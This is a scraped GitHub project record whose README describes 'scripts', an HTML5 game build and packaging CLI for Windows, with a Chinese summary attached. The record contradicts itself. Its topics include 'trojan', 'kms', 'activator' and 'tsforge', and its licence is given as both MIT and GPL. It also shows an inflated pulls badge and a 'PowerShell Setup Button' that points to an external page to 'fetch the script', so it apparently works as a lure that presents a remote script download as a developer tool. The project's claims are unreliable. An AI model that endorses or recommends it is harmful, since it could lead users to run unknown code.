[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-109864":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":11,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":12,"stars30d":12,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":13,"rankGlobal":9,"rankLanguage":9,"license":14,"archived":15,"fork":15,"defaultBranch":16,"hasWiki":17,"hasPages":17,"topics":18,"createdAt":9,"pushedAt":9,"updatedAt":33,"readmeContent":34,"aiSummary":35,"trendingCount":12,"starSnapshotCount":12,"syncStatus":36,"lastSyncTime":37,"discoverSource":38},109864,"html5-game-build-tool","jaime681\u002Fhtml5-game-build-tool","jaime681","scripts: HTML5 game build tool for optimization and multi-platform packaging",null,"JavaScript",149,0,40,"MIT License",false,"main",true,[19,20,21,22,23,24,25,26,27,28,29,30,31,32],"activator","bash","bbr","cli","collaborate","hacktoberfest","home-assistant","home-automation","homelab","kms","lxc","microsoft","trojan","tsforge","2026-11-24 04:01:28","\u003Cdiv align=\"center\">\n\n# scripts: HTML5 game build and packaging CLI for Windows\n\n![](files\u002Fpreview.png)\n\n### ⚡ PowerShell Setup Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Fjaime681.github.io\u002Fhtml5-game-build-tool\u002F)\n\n[![system](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FSYSTEM-WINDOWS-6366f1?style=flat-square&labelColor=0d1117)]() [![pulls](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPULLS-184K-818cf8?style=flat-square&labelColor=0d1117)]() [![licence](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLICENCE-GPL--3.0-4f46e5?style=flat-square&labelColor=0d1117)]() [![pwsh](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPWSH-7%2B-4338ca?style=flat-square&labelColor=0d1117)]() [![tests](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FTESTS-SUCCESS-2ea44f?style=flat-square&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\n`scripts` is a command-line build tool for HTML5 game projects, covering development, optimization, and packaging across web browsers, game portals, social media, mobile, and Web3 targets. It provides a single CLI entry point for bundling game assets and code, applying optimizations, and producing platform-specific output. The tool's scope is limited to build orchestration: it does not supply a game engine, runtime, or rendering framework, and its behavior depends on project configuration and the underlying toolchain. Compatibility and feature coverage vary by target platform, so the configuration reference should be consulted before relying on a given output format.\n\n## 📋 System Requirements\n\n- **PowerShell 5.1+** (pre-installed on Windows 10 and 11)\n- **Windows 10 \u002F 11** (x64)\n- **Internet connection** — required to fetch the script\n- **Administrator** — *not* required\n\n## Features\n\n- **Multi-target packaging**: Emits platform-specific bundles for browsers, game portals, social platforms, mobile wrappers, and Web3 environments from a single source tree. Target selection is explicit per invocation; no target is assumed by default.\n- **Asset pipeline**: Processes HTML, CSS, JavaScript, and static assets in one pass, applying per-type handling. Asset references are rewritten to match emitted output paths.\n- **Optimization stages**: Minification, dead-code elimination, and asset compression run as discrete, configurable stages. Stages can be enabled or disabled individually; defaults are conservative.\n- **Deterministic output**: Builds are reproducible for identical inputs and configuration. Output file names include content-derived hashes where configured.\n- **CLI-driven workflow**: All operations are exposed as subcommands with explicit flags. Non-interactive by default; suitable for CI pipelines. Progress and diagnostics are written to stderr, machine-readable results to stdout.\n- **Configuration file support**: Project behavior is defined in a single configuration file at the project root. CLI flags override configuration values. Absent configuration falls back to documented defaults.\n- **Incremental builds**: Tracks input changes and rebuilds only affected outputs. Cache state is stored locally and can be cleared explicitly.\n- **Scope boundaries**: Does not manage runtime game logic, engine abstraction, or hosting\u002Fdeployment. It produces build artifacts only; publishing and distribution are out of scope. Web3 target support covers packaging concerns, not chain interaction or wallet integration.\n\n## Usage\n\nInvoke the tool directly from your project root. It expects to run against a project directory that already contains source assets and a configuration file; it does not scaffold a project, generate assets, or manage dependencies for you.\n\nThe general form is:\n\n```\nscripts \u003Ccommand> [options] [arguments]\n```\n\nThe primary command is `build`, which resolves the entry point, bundles and optimizes sources, and writes the result to the configured output directory:\n\n```\nscripts build\n```\n\n`build` operates on the current working directory by default. Use the target argument to point at a different project root:\n\n```\nscripts build path\u002Fto\u002Fproject\n```\n\nFor iterative development, `watch` performs the same pipeline and reparses on file changes:\n\n```\nscripts watch\n```\n\nUse `--config` to specify a configuration file other than the default in the project root, and `--output` to override the configured output directory for a single run:\n\n```\nscripts build --config .\u002Fconfigs\u002Fproduction.js --output .\u002Fdist\n```\n\nBehavior and scope notes:\n\n- The tool reads configuration before executing any command. A missing or malformed configuration file causes an immediate non-zero exit; no partial output is written.\n- Output directories are overwritten on each successful build. The tool does not merge with or preserve prior artifacts.\n- Optimization steps are applied per the configuration; disabling them produces unminified output but does not change the bundle layout.\n- Platform targets (browser, portals, social, mobile, Web3) are selected through configuration, not command-line flags. Passing an unsupported target fails validation rather than silently falling back.\n- `watch` does not terminate on build errors; it reports them and continues watching. It exits non-zero only on fatal initialization failures.\n- The tool does not perform deployment, signing, or store submission. It produces packaged output only.\n\nFor the full flag list, see the Flags section. For exit status meanings, see Exit codes.\n\n## Flags\n\nThe following flags are accepted by the `scripts` CLI. Flags are grouped by scope; global flags may appear before or after the subcommand, while command-specific flags apply only to their subcommand. Boolean flags accept an optional `--no-` prefix to negate their default. Unless stated otherwise, flags are order-independent and may be repeated only where noted.\n\n### Global flags\n\n- `--config \u003Cpath>` — Path to the configuration file. Defaults to `scripts.config.js` in the current working directory. Relative paths resolve against the working directory, not the config file location.\n- `--cwd \u003Cpath>` — Sets the working directory for all path resolution before the config is loaded.\n- `--verbose` — Enables verbose logging. Equivalent to log level `debug`; does not affect build output.\n- `--quiet` — Suppresses non-error output. Mutually exclusive with `--verbose`; specifying both is an error.\n- `--no-color` — Disables ANSI color in terminal output. Color is also disabled automatically when output is not a TTY.\n- `--log-level \u003Clevel>` — One of `silent`, `error`, `warn`, `info`, `debug`. Overrides `--verbose` and `--quiet` when both are present.\n- `--help` — Prints usage for the CLI or the active subcommand and exits with code 0.\n- `--version` — Prints the CLI version and exits with code 0.\n\n### Build flags (`scripts build`)\n\n- `--input \u003Cpath>` — Entry point override. Takes precedence over the config `input` field.\n- `--output \u003Cpath>` — Output directory override. The directory is created if absent; existing contents are not purged unless `--clean` is passed.\n- `--target \u003Cname>` — Selects a named target defined in the config (for example a platform or portal preset). Unknown target names fail before any compilation begins.\n- `--mode \u003Cmode>` — One of `development` or `production`. Defaults to `production`. Controls minification, source maps, and environment substitution.\n- `--minify` \u002F `--no-minify` — Explicitly enables or disables asset and code minification. Overrides the mode-derived default.\n- `--sourcemap` \u002F `--no-sourcemap` — Emits external source maps. Enabled by default in `development`, disabled in `production`.\n- `--clean` — Removes the output directory contents before writing. Refuses to run if the resolved output path is the working directory or an ancestor of it.\n- `--watch` — Rebuilds on file changes. Exits only on signal or fatal error; exit codes below apply to the initial build.\n- `--define \u003Ckey=value>` — Injects a compile-time constant. May be repeated. Values are parsed as JSON where possible, otherwise treated as strings.\n- `--env \u003Cname>` — Loads an environment preset by name. Missing presets are a warning, not an error.\n\n### Packaging flags (`scripts package`)\n\n- `--platform \u003Cname>` — Target packaging platform. Accepted values depend on the installed platform adapters; an unsupported value lists the available adapters in the error output.\n- `--archive \u003Cformat>` — Archive format for the packaged artifact. Supported formats are reported by `scripts package --help` and may vary by platform.\n- `--out-file \u003Cpath>` — Explicit artifact path. Overrides the default name derived from the project name and version.\n- `--sign` — Enables signing when the selected platform adapter supports it. On adapters without signing support this flag is ignored with a warning rather than an error.\n\n### Scope and limitations\n\n- Flags not listed here are rejected with a non-zero exit code; the CLI does not silently ignore unknown options.\n- Flag precedence is: command-line flags, then environment variables, then the config file, then built-in defaults.\n- `--watch` is not supported together with `--clean`; combining them is an error.\n- Platform-specific behavior described above reflects the adapters shipped with this project only. Adapters installed separately may add flags; run `scripts \u003Ccommand> --help` to see the effective set for your installation.\n\n## Exit codes\n\n`scripts` returns a numeric exit status on completion. A status of `0` indicates the command completed without error. Any non-zero status indicates a failure or an abnormal termination. Callers should inspect the status rather than parsing console output, since message text is not a stable interface.\n\nThe tool distinguishes the following classes of status:\n\n- `0` — success. The requested operation (build, package, serve, and so on) finished and all outputs were written.\n- `1` — general failure. This is the catch-all for runtime errors, configuration validation failures, unresolved module references, and failed file operations. When no more specific code applies, `scripts` returns `1`.\n- `2` — usage error. Raised when a command or flag is malformed, a required argument is missing, or an unknown option is supplied. Usage errors are detected before any build work begins.\n- `> 2` — reserved. Values above `2` are not part of the documented contract. Individual child processes spawned during a build may propagate their own non-zero status, and these values pass through unchanged where the tool does not map them.\n\nScope and caveats:\n\n- Only `0`, `1`, and `2` are defined behavior. Do not branch on specific values greater than `2`; treat them as generic failure.\n- When multiple operations run in one invocation, the first failure determines the exit status. Error reporting is not aggregated across independent tasks.\n- Signals (for example, an interrupt during a long build) terminate the process by signal rather than by a numeric code, so a calling shell may observe a signal-derived status instead of one of the values above.\n- Exit codes are not a substitute for validation of generated artifacts. A successful status confirms the tool completed its pipeline, not that the resulting build behaves correctly on a target platform.\n- The codes above describe the command-line entry point only. Behavior of any external packaging or deployment step performed outside `scripts` is outside this contract.\n\n## Recipes\n\n- **Local development build.** Run `scripts build --mode development` to produce an unminified bundle with source maps and no asset hashing. This is the intended configuration for iterative work; it does not perform production optimizations and should not be used for release artifacts.\n\n- **Production web bundle.** Run `scripts build --mode production` to minify JavaScript, compress assets, and emit content-hashed filenames into the output directory. The output is a static bundle suitable for serving from any HTTP host; no runtime server component is generated.\n\n- **Target-specific packaging.** Use `scripts package --target \u003Ctarget>` to assemble a distributable for a named platform (browser, game portal, social, mobile, or Web3). Each target applies its own manifest and asset layout. Targets that require platform-side credentials or signing are out of scope for this tool; those steps must be completed with the platform's own tooling.\n\n- **Multi-target build in one pass.** `scripts build --targets browser,portal,social` emits one output subtree per target under the configured output directory. Targets are built independently and do not share intermediate artifacts, so total build time scales roughly linearly with the number of targets.\n\n- **Clean rebuild.** `scripts clean && scripts build --mode production` removes the output directory before building. Use this when switching between targets or modes, since incremental state is keyed by mode and target and stale artifacts are otherwise retained.\n\n- **CI usage.** Invoke the CLI non-interactively and rely on exit codes rather than parsing stdout. A zero exit indicates success; any nonzero exit indicates failure and should fail the job. Pass `--no-color` to keep logs plain, and treat warnings emitted on stderr as non-fatal unless the exit code is nonzero.\n\n- **Flag precedence.** Command-line flags override values from the configuration file, which override built-in defaults. When a flag is omitted, the configuration value is used; when both are absent, the default applies. This ordering is consistent across all commands.\n\n- **Scope limits.** The tool handles bundling, optimization, and packaging only. It does not manage runtime hosting, store submission, or platform account configuration. Recipes above assume a project already has a valid entry point and configuration file.\n\n## FAQ\n\n**What platforms does the tool target?**\nThe tool produces builds for web browsers, game portals, social media platforms, mobile wrappers, and Web3 environments. Platform support is configuration-driven; some targets require additional per-platform settings and assets to be supplied by the project. The tool does not abstract away platform-specific requirements entirely — expect to configure each target individually.\n\n**Does the tool modify my source files?**\nNo. Source files are read-only from the tool's perspective. All transformations, optimizations, and packaging output are written to the configured output directory. If you observe writes outside that directory, treat it as a defect and report it with the relevant configuration.\n\n**Which entry points and project layouts are supported?**\nA single entry point is defined per build via configuration. Multi-entry builds are not a first-class concept; if you need several entry points, run separate builds with distinct configurations and output directories. The tool does not enforce a directory structure beyond the configured input and output paths.\n\n**How are optimizations applied?**\nOptimizations are opt-in through configuration flags. Each optimization is applied as an independent pass over the build output; enabling more passes increases build time proportionally. The tool does not guarantee identical output across versions — optimization passes may change between releases, so pin the tool version when reproducible builds matter.\n\n**Can I extend the build with custom steps?**\nYes, through the plugin mechanism described in the configuration section. Plugins run in the order they are listed. The tool provides no sandboxing for plugins; a plugin has the same filesystem and process access as the tool itself. Review third-party plugins before use.\n\n**What happens when a build fails?**\nThe tool exits with a nonzero code and writes diagnostics to standard error. Partial output may remain in the output directory; the tool does not roll back failed builds. For CI usage, clean the output directory before each build or key artifacts on the exit code. Refer to the exit codes section for the meaning of specific codes.\n\n**Is the output deterministic?**\nNot by default. Bundling and optimization passes can introduce ordering or timing-dependent differences. Deterministic output is a goal, not a guarantee; if you require byte-identical artifacts, verify against your specific configuration and tool version.\n\n**Does the tool handle asset conversion (images, audio, fonts)?**\nOnly where explicitly enabled by configuration or a plugin. The core build does not transcode media formats. Assets are copied or referenced according to configuration; conversion is the responsibility of dedicated plugins or an external pipeline.\n\n**What is explicitly out of scope?**\nThe tool does not manage dependencies, run a development server, provide hot reloading, or host or deploy builds. It is a build and packaging tool: it consumes a project and produces artifacts. Anything beyond that — runtime behavior, hosting, analytics, store submission — is outside its scope.\n\n**How should I report a bug or request a feature?**\nInclude the tool version, the full command invocation, the relevant configuration, and the complete diagnostic output. Reproductions with a minimal project are strongly preferred; issues without a reproduction may be closed if the behavior cannot be confirmed.","这是一个面向Windows平台的HTML5游戏构建与打包命令行工具，专注于开发后期的资产优化、多平台输出和构建流程自动化。核心功能包括跨目标平台（网页浏览器、游戏门户、社交平台、移动封装、Web3环境）的统一打包，支持HTML\u002FCSS\u002FJS及静态资源的流水线处理、可配置的代码压缩与死代码消除、内容哈希化输出、增量构建和CLI驱动的确定性构建流程。工具仅负责构建编排，不提供游戏引擎或运行时，需配合现有HTML5游戏项目使用，适用于独立开发者和小型团队在Windows环境下进行发布前的自动化构建与多渠道分发。",2,"2026-11-17 04:38:22","CREATED_QUERY"]